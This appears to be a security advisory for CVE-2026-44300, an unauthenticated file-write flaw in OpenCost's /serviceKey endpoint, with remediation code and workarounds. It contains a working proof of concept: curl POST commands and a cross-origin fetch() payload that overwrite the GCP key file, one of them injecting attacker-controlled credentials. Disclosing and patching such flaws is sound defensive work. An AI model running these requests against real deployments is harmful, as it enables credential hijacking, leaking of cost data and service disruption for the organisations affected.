PT-2026-60062 · Go · Github.Com/Opencost/Opencost

CVE-2026-44300

Published

2026-07-14

Updated

2026-07-14

CVSS v4.0

8.8

High

Vector

AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.

Affected Versions

OpenCost: All versions up to and including the latest release
Vulnerable File: pkg/costmodel/router.go (lines 365-379)
Vulnerable Endpoint: POST /serviceKey

Vulnerability Details

Root Cause

The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:

func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
  w.Header().Set("Content-Type", "application/json")
  w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS

  r.ParseForm()

  key := r.PostForm.Get("key") // User-controlled input, no validation
  k := []byte(key)
  err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write
  if err != nil {
    fmt.Fprintf(w, "Error writing service key: %s", err)
  }

  w.WriteHeader(http.StatusOK)
}

File Path Determination (core/pkg/env/core.go):

func GetGCPAuthSecretFilePath() string {
  return GetPathFromConfig("key.json")
}

func GetPathFromConfig(fileName string) string {
  return filepath.Join(GetConfigPath(), fileName)
}

func GetConfigPath() string {
  return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs
}

Security Issues

No Authentication: Any network-accessible client can invoke the endpoint
No Input Validation: User input is not validated as a valid GCP service account key
Overly Permissive CORS: Access-Control-Allow-Origin: * allows cross-origin attacks
Predictable File Path: File location controlled by CONFIG PATH environment variable

Proof of Concept

Environment Setup

Prerequisites

Kubernetes cluster (tested on kind v1.30.0)
Helm 3.x
kubectl configured

Step 1: Create Namespace

bash

kubectl create namespace opencost

Output:

namespace/opencost created

Step 2: Add OpenCost Helm Repository

bash

helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo update

Output:

"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!

Step 3: Deploy OpenCost

bash

helm install opencost opencost/opencost --namespace opencost 
 --set opencost.exporter.defaultClusterId=test-cluster 
 --set opencost.prometheus.internal.enabled=true 
 --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus 
 --set opencost.prometheus.internal.namespaceName=monitoring 
 --set opencost.prometheus.internal.port=9090 
 --set-string 'opencost.exporter.extraEnv.CONFIG PATH=/tmp'

Key Configuration:

CONFIG PATH=/tmp: Sets writable directory for file operations

Output:

NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1

Step 4: Verify Deployment

bash

kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost

Output:

NAME           READY  STATUS  RESTARTS  AGE
opencost-db97bbcc-5q8cb  2/2   Running  0     44s

Step 5: Verify Service Accessibility

bash

kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- 
 curl -v http://opencost.opencost.svc.cluster.local:9003/healthz

Output:

< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0

Exploitation

Step 6: Check Initial State

bash

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

cat: can't open '/tmp/key.json': No such file or directory

Note: File does not exist initially

Step 7: Verify CONFIG PATH Configuration

bash

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG PATH

Output:

CONFIG PATH=/tmp

Note: CONFIG PATH correctly set to /tmp

Step 8: Execute Exploit

bash

MALICIOUS CONTENT='{"type":"VULNERABILITY PROOF","vuln id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected by":"security researcher","evidence":"This proves the vulnerability exists"}'

kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- 
 curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey 
 -H "Content-Type: application/x-www-form-urlencoded" 
 -d "key=${MALICIOUS CONTENT}" 
 -v

Request Details:

> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244

Response Details:

< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0

Result: HTTP 200 OK - Request successful without authentication

Step 9: Verify File Write

bash

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

json

{"type":"VULNERABILITY PROOF","vuln id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected by":"security researcher","evidence":"This proves the vulnerability exists"}

Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file

Impact Analysis

Direct Impact

Impact Type	Severity	Description
Unauthorized Credential Overwrite	High	Attacker can overwrite GCP service account key file content
No Authentication Required	High	Vulnerability can be exploited without any credentials
CORS Misconfiguration	Medium	Allows cross-origin attacks via malicious websites
Fixed File Path	Low	Attacker cannot control write location, only content

Attack Scenario Analysis

Scenario 1: GCP Credential Overwrite Leading to Service Disruption

Attack Steps:

Attacker sends POST request with invalid JSON or malformed GCP key
/serviceKey endpoint accepts request and overwrites existing key.json file
OpenCost attempts to access GCP API with corrupted credentials
GCP integration fails, cost data collection stops

Technical Details:

bash

# Attack payload example
curl -X POST http://opencost:9003/serviceKey 
 -d 'key={"invalid":"json","corrupted":"credentials"}'

Impact:

Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data
Operational Impact: FinOps processes dependent on cost data are blocked
Availability Degradation: Manual intervention required to restore correct credentials

CVSS Impact Score: Availability impact is Low (A:L)

Scenario 2: Malicious Credential Injection for Data Hijacking

Attack Steps:

Attacker creates their own GCP project and service account
Injects attacker-controlled valid GCP credentials into OpenCost
OpenCost uses attacker's credentials to send requests to GCP Billing API
Target organization's cost data is sent to attacker's GCP project

Technical Details:

bash

# Inject attacker credentials
ATTACKER KEY='{
 "type": "service account",
 "project id": "attacker-billing-project",
 "private key": "-----BEGIN PRIVATE KEY-----
...
-----END PRIVATE KEY-----
",
 "client email": "opencost-hijack@attacker-project.iam.gserviceaccount.com"
}'

curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER KEY}"

Impact:

Sensitive Data Leakage: Organization's cloud resource usage patterns and cost details
Business Intelligence Leakage: Can infer business scale, growth trends, technology stack
Compliance Risk: Cost data may contain protected business information

Data Leakage Examples:

Kubernetes cluster size and node configuration
Resource consumption per namespace (can map to business units)
Cloud service usage patterns (databases, storage, compute instance types)
Cost trends (can infer business growth or contraction)

CVSS Impact Score: Confidentiality impact is None (C:N), but business impact is High

Scenario 3: Cross-Origin Attack (CORS Exploitation)

Attack Steps:

User visits attacker-controlled malicious website
Malicious JavaScript sends POST request to http://localhost:9003/serviceKey
Due to CORS set to *, browser allows cross-origin request
User's browser acts as proxy to execute credential overwrite attack

Prerequisites:

User exposes OpenCost service via kubectl port-forward or other means
User's browser can access OpenCost endpoint

Technical Details:

javascript

// JavaScript on malicious website
fetch('http://localhost:9003/serviceKey', {
 method: 'POST',
 headers: {'Content-Type': 'application/x-www-form-urlencoded'},
 body: 'key={"type":"malicious"}'
});

Impact:

User-Unaware Attack: No active user interaction required
Difficult to Trace: Attack originates from victim's IP address
Limited Exploitation Conditions: Requires OpenCost exposed to user-accessible network

Vulnerability Limitations

What Attacker Cannot Control:

File Write Path: Fixed by CONFIG PATH environment variable, attacker cannot modify
File Name: Fixed as key.json, cannot write to other files
File Permissions: Write permission is 0644, attacker cannot escalate

Actual Attack Capabilities:

File Content Control: Complete control over key.json content
Unauthenticated Exploitation: No credentials required to trigger
Remote Accessibility: Can be exploited over network (if service exposed)

Real-World Impact Assessment

Deployment Scenario	Risk Level	Description
Cluster-Internal Only	Medium	Requires attacker to have cluster network access
Exposed via Ingress	High	Any internet user can exploit
Exposed via NodePort	High	Attackers with node network access can exploit
Via port-forward	Medium-High	Local dev environments vulnerable to CORS attacks

Recommended Risk Rating:

Default deployment (cluster-internal): Medium
Improperly exposed (public internet): High

Remediation

Immediate Actions (P0)

1. Add Authentication

func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
  // Add authentication check
  if !a.isAuthorized(r) {
    http.Error(w, "Unauthorized", http.StatusUnauthorized)
    return
  }

  // ... existing logic
}

2. Implement Input Validation

func validateServiceKey(key string) error {
  var keyData map[string]interface{}
  if err := json.Unmarshal([]byte(key), &keyData); err != nil {
    return fmt.Errorf("invalid JSON format")
  }

  requiredFields := []string{"type", "project id", "private key id", "private key"}
  for , field := range requiredFields {
    if , ok := keyData[field]; !ok {
      return fmt.Errorf("missing required field: %s", field)
    }
  }

  if keyData["type"] != "service account" {
    return fmt.Errorf("invalid key type")
  }

  return nil
}

3. Restrict CORS

w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED ORIGIN"))

Long-term Solutions (P1)

Use Kubernetes Secrets: Store credentials in Kubernetes Secrets instead of files
Implement RBAC: Role-based access control for sensitive operations
Add Audit Logging: Log all file write operations
Apply Least Privilege: Minimize ClusterRole permissions

Workarounds

Until a patch is available, implement these mitigations:

Network Segmentation: Restrict access to OpenCost service using NetworkPolicies
Disable Endpoint: Remove or disable the /serviceKey endpoint if not required
Monitor File Changes: Alert on modifications to key.json file
Use Read-only Filesystem: Mount config directory as read-only where possible

References

Vulnerable Code: pkg/costmodel/router.go:365-379
Environment Configuration: core/pkg/env/core.go
OWASP: [Broken Access Control](https://owasp.org/Top10/A01 2021-Broken Access Control/)
CWE-306: Missing Authentication for Critical Function
CWE-20: Improper Input Validation

Fix

RCE

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Weakness Enumeration

CWE-20CWE-309

Related Identifiers

CVE-2026-44300

GHSA-WMJ8-9953-VFF5

Affected Products

Github.Com/Opencost/Opencost

PT-2026-60062 · Go · Github.Com/Opencost/Opencost

CVE-2026-44300

Summary

Affected Versions

Vulnerability Details

Root Cause

Security Issues

Proof of Concept

Environment Setup

Prerequisites

Step 1: Create Namespace

Step 2: Add OpenCost Helm Repository

Step 3: Deploy OpenCost

Step 4: Verify Deployment

Step 5: Verify Service Accessibility

Exploitation

Step 6: Check Initial State

Step 7: Verify CONFIG PATH Configuration

Step 8: Execute Exploit

Step 9: Verify File Write

Impact Analysis

Direct Impact

Attack Scenario Analysis

Scenario 1: GCP Credential Overwrite Leading to Service Disruption

Scenario 2: Malicious Credential Injection for Data Hijacking

Scenario 3: Cross-Origin Attack (CORS Exploitation)

Vulnerability Limitations

Real-World Impact Assessment

Remediation

Immediate Actions (P0)

1. Add Authentication

2. Implement Input Validation

3. Restrict CORS

Long-term Solutions (P1)

Workarounds

References

Weakness Enumeration

Related Identifiers

Affected Products

References · 3